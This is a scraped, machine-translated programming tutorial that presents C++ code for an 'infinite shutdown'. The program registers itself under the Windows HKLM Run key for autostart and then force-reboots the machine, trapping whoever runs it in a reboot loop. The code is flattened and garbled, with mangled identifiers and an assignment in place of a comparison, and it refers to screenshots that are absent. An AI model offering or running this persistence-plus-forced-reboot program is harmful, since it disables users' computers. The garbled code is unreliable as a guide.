A/C + + infinite shutdown (power example)

Source: Internet
Author: User
In Windows systems, when the process is involved in other processes, or when you want to use shutdown for these high-risk commands, the following are the MSDN references

Three brothers of the right to mention
OpenProcessToken
Lookupprivilegevalue
AdjustTokenPrivileges

Let's use the following MSDN code to make a list of the infinite shutdown of the registry

#include <windows.h> #pragma comment (lib, "User32.lib") #pragma comment (lib, "Advapi32.lib") BOOL Mysystemshu      Tdown () {HANDLE htoken;         Token_privileges TKP;         Get a token for this process. if (! OpenProcessToken (GetCurrentProcess (), Token_adjust_privileges |         Token_query, &htoken)) return (FALSE);         Get the LUID for the shutdown privilege. Lookupprivilegevalue (NULL, Se_shutdown_name, &AMP;TKP. Privileges[0].         LUID); Tkp.  Privilegecount = 1; One privilege to set TKP. Privileges[0].         Attributes = se_privilege_enabled;         Get The shutdown privilege for this process.         AdjustTokenPrivileges (Htoken, FALSE, &AMP;TKP, 0, (ptoken_privileges) NULL, 0);         if (GetLastError () = ERROR_SUCCESS) return FALSE;         Shut down the system and force all applications to close. if (! ExitWindowsEx (Ewx_shutdown | Ewx_force, Shtdn_reason_major_OperatingSystem |                 Shtdn_reason_minor_upgrade |        shtdn_reason_flag_planned)) return FALSE;  Shutdown was successful return TRUE; }

The code above is MSDN, and the code for the infinite shutdown is given below (with detailed comments)

ShutdownDemo.cpp: Defines the entry point of the console application.      #include "stdafx.h" #include <windows.h> BOOL Mysystemshutdown () {HANDLE htoken;   The handle used for the operation Token_privileges TKP;         Used to hold specific information//Get a token for this process. if (! OpenProcessToken (GetCurrentProcess (), Token_adjust_privileges |        Token_query, &htoken)) return (FALSE);       Get the LUID for the shutdown privilege. If you want to raise the right, the following two functions to take the right Lookupprivilegevalue (NULL, Se_shutdown_name, &AMP;TKP. Privileges[0].        LUID); Tkp.  Privilegecount = 1; One privilege to set TKP. Privileges[0].        Attributes = se_privilege_enabled;               Get The shutdown privilege for this process.        AdjustTokenPrivileges (Htoken, FALSE, &AMP;TKP, 0, (ptoken_privileges) NULL, 0);        if (GetLastError () = ERROR_SUCCESS) return FALSE;         Shut down the system and force all applications to close. if (! ExitWindowsEx (ewx_reboot| Ewx_forcE, Shtdn_reason_major_operatingsystem |          Shtdn_reason_minor_upgrade |        shtdn_reason_flag_planned)) return FALSE;  Shutdown was successful return TRUE;      } int _tmain (int argc, _tchar* argv[]) {GetChar ();        HKEY HKEY = {0}; /*long RegOpenKeyEx (HKEY HKEY,//need to open the name of the primary key LPCTSTR Lpsubkey,//The name of the subkey that needs to be opened DWORD uloptions,// Left, set to 0 Regsam samdesired,//secure access token, i.e. permission Phkey phkresult//Get handle to open key) */Regopenkeyexa (H    Key_local_machine, "Software\\microsoft\\windows\\currentversion\\run", 0,key_write,&hkey);      Opens a specified registry key char Path[max_path] = {0};    GetModuleFileNameA (nullptr, Path, MAX_PATH);      Gets the current file path RegSetValueEx (HKey, "ShutDown", 0, REG_SZ, (byte*) path, strlen (path));      Mysystemshutdown ();  return 0; }

If the following problem occurs

Please modify the character set as follows

Let's look at the running results!


The above is the C + + infinite shutdown (power example) content, more relevant content please pay attention to topic.alibabacloud.com (www.php.cn)!

  • Related Article

    Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.